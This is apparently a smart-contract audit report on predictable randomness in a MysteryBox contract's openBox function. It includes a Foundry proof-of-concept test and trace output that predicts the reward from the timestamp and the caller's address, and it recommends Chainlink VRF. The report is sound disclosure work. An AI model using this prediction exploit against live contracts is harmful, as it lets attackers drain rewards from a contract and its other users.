Summary
MysteryBox contract contains a critical vulnerability due to its pseudo-random number generation (PRNG) mechanism, which is easily predictable. This allows attackers to manipulate and predict the rewards they receive from the mystery box, undermining the fairness and integrity of the contract.
Vulnerability Details
Predictable random number generation. The vulnerability is in the
openBox Function of the MysteryBox contract. The random value used to determine the reward is derived from the block's timestamp and the user's address. This approach is not secure as both the block timestamp and the user’s address can be controlled or predicted by an attacker.
The PRNG is implemented using:
uint256 randomValue = uint256(keccak256(abi.encodePacked(fuzzedTimestamp, attacker))) % 100;
This methodology relies on predictable and manipulable parameters (timestamp and address).
POC
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/MysteryBox.sol";
contract MysteryBoxExploitTest is Test {
MysteryBox mysteryBox;
address attacker = address(0xBEEF);
function setUp() public {
mysteryBox = new MysteryBox{value: 0.1 ether}();
}
function testWeakPRNGExploit(uint256 startTime) public {
uint256 fuzzedTimestamp = startTime % (2 ** 32);
vm.deal(attacker, 10 ether);
vm.startPrank(attacker);
mysteryBox.buyBox{value: 0.1 ether}();
vm.warp(fuzzedTimestamp);
uint256 randomValue = uint256(keccak256(abi.encodePacked(fuzzedTimestamp, attacker))) % 100;
console.log("Fuzzed Timestamp:", fuzzedTimestamp);
console.log("Expected random value:", randomValue);
mysteryBox.openBox();
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
require(rewards.length > 0, "No rewards received");
string memory expectedReward;
if (randomValue < 75) {
expectedReward = "Coal";
} else if (randomValue < 95) {
expectedReward = "Bronze Coin";
} else if (randomValue < 99) {
expectedReward = "Silver Coin";
} else {
expectedReward = "Gold Coin";
}
console.log("Received reward:", rewards[0].name);
console.log("Expected reward:", expectedReward);
require(
keccak256(bytes(rewards[0].name)) == keccak256(bytes(expectedReward)),
"Exploit failed: reward does not match expectation"
);
console.log("Exploit success: received the expected reward:", expectedReward);
vm.stopPrank();
}
}
Output
[83327] MysteryBoxExploitTest::testWeakPRNGExploit(3968)
├─ [0] VM::deal(0x000000000000000000000000000000000000bEEF, 10000000000000000000 [1e19])
│ └─ ← [Return]
├─ [0] VM::startPrank(0x000000000000000000000000000000000000bEEF)
│ └─ ← [Return]
├─ [24580] MysteryBox::buyBox{value: 100000000000000000}()
│ └─ ← [Stop]
├─ [0] VM::warp(3968)
│ └─ ← [Return]
├─ [0] console::log("Fuzzed Timestamp:", 3968) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Expected random value:", 24) [staticcall]
│ └─ ← [Stop]
├─ [48154] MysteryBox::openBox()
│ └─ ← [Stop]
├─ [2123] MysteryBox::getRewards() [staticcall]
│ └─ ← [Return] [Reward({ name: "Coal", value: 0 })]
├─ [0] console::log("Received reward:", "Coal") [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Expected reward:", "Coal") [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Exploit success: received the expected reward:", "Coal") [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.12ms (17.62ms CPU time)
The fuzzed timestamp used was 3968,
The expected random value, computed using the fixed timestamp and the attacker's address, was
24,
The test demonstrated that, given the manipulated timestamp, the reward "Coal" was successfully predicted.
The log statements confirm each step, showing the fuzzed timestamp, expected random value, received reward, and expected reward, which matched as predicted, verifying the exploit's success.
Impact
The vulnerability allows an attacker to:
Predict the random value generated by the contract.
Determine and secure the most desirable rewards by manipulating timestamps and transactions.
Systematically exploit the contract to drain it of high-value rewards, compromising the contract's integrity and fairness for all users.
Tools Used
Recommendations
Chainlink VRF (Verifiable Random Function): Utilize Chainlink VRF for secure and tamper-proof random number generation.